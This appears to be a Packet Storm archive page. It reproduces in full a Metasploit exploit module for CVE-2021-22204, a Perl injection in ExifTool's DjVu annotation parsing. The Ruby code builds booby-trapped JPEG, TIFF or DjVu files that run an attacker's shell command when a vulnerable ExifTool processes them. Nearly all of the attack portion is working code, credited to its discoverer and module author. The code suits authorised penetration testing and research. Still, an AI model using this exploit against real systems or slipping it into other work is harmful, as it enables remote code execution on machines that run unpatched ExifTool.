exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ExifTool DjVu ANT Perl Injection

ExifTool DjVu ANT Perl Injection
Posted May 12, 2021
Authored by Justin Steven, William Bowling | Site metasploit.com

This Metasploit module exploits a Perl injection vulnerability in the DjVu ANT parsing code of ExifTool versions 7.44 through 12.23 inclusive. The injection is used to execute a shell command using Perl backticks. The DjVu image can be embedded in a wrapper image using the HasselbladExif EXIF field.

tags | exploit, shell, perl
advisories | CVE-2021-22204
SHA-256 | 6faaab2f2450fabd11bd922db38c56424cff69369eb7b6d4c402f570e3a96b13

ExifTool DjVu ANT Perl Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ExifTool DjVu ANT Perl injection',
'Description' => %q{
This module exploits a Perl injection vulnerability in the DjVu ANT
parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
injection is used to execute a shell command using Perl backticks.
The DjVu image can be embedded in a wrapper image using the
HasselbladExif EXIF field.
},
'Author' => [
'William Bowling', # Vulnerability discovery
'Justin Steven' # Metasploit module
],
'References' => [
%w[CVE 2021-22204],
%w[URL https://twitter.com/wcbowling/status/1385803927321415687],
%w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
%w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
],
'DisclosureDate' => '2021-05-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
'Space' => 2000,
'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
},
'Targets' => [
['JPEG file', { template: 'msf.jpg' }],
['TIFF file', { template: 'msf.tif' }],
['DjVu file', { template: 'msf.djvu' }]
],
'DefaultTarget' => 0
)
)

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
])
end

def exploit
p = payload.encoded

buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
buf[8, 4] = [209 + p.length].pack('L>') # Fix up DJVM length
buf[174, 4] = [43 + p.length].pack('L>') # Fix up DJVI length
buf[186, 4] = [31 + p.length].pack('L>') # Fix up ANTa length

if target.name == 'JPEG file'
jpeg_buf = jpeg_template
jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = jpeg_buf
elsif target.name == 'TIFF file'
tif_buf = tif_template
tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
buf = tif_buf
end

file_create(buf)
end

def djvu_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
))
end

def jpeg_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
))
end

def tif_template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
))
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close